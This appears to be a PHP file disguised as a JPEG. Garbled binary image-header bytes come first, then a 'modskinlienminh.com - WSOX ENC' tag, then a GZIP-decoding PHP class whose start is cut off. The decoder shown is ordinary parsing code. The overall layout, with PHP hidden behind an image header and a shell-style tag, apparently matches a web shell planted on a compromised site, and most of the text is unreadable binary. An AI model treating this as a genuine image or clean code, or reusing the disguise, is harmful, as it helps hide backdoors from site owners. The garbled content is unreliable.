���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC compressed_data = $data; $this->compressed_size = strlen($data); } /** * Decode the GZIP stream * * @return bool Successfulness */ public function parse() { if ($this->compressed_size >= $this->min_compressed_size) { // Check ID1, ID2, and CM if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") { return false; } // Get the FLG (FLaGs) $this->flags = ord($this->compressed_data[3]); // FLG bits above (1 << 4) are reserved if ($this->flags > 0x1F) { return false; } // Advance the pointer after the above $this->position += 4; // MTIME $mtime = substr($this->compressed_data, $this->position, 4); // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness if (current(unpack('S', "\x00\x01")) === 1) { $mtime = strrev($mtime); } $this->MTIME = current(unpack('l', $mtime)); $this->position += 4; // Get the XFL (eXtra FLags) $this->XFL = ord($this->compressed_data[$this->position++]); // Get the OS (Operating System) $this->OS = ord($this->compressed_data[$this->position++]); // Parse the FEXTRA if ($this->flags & 4) { // Read subfield IDs $this->SI1 = $this->compressed_data[$this->position++]; $this->SI2 = $this->compressed_data[$this->position++]; // SI2 set to zero is reserved for future use if ($this->SI2 === "\x00") { return false; } // Get the length of the extra field $len = current(unpack('v', substr($this->compressed_data, $this->position, 2))); $this->position += 2; // Check the length of the string is still valid $this->min_compressed_size += $len + 4; if ($this->compressed_size >= $this->min_compressed_size) { // Set the extra field to the given data $this->extra_field = substr($this->compressed_data, $this->position, $len); $this->position += $len; } else { return false; } } // Parse the FNAME if ($this->flags & 8) { // Get the length of the filename $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original filename to the given string $this->filename = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FCOMMENT if ($this->flags & 16) { // Get the length of the comment $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original comment to the given string $this->comment = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FHCRC if ($this->flags & 2) { // Check the length of the string is still valid $this->min_compressed_size += $len + 2; if ($this->compressed_size >= $this->min_compressed_size) { // Read the CRC $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2))); // Check the CRC matches if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) { $this->position += 2; } else { return false; } } else { return false; } } // Decompress the actual data if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) { return false; } $this->position = $this->compressed_size - 8; // Check CRC of data $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc)) { return false; }*/ // Check ISIZE of data $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) { return false; } // Wow, against all odds, we've actually got a valid gzip string return true; } return false; } }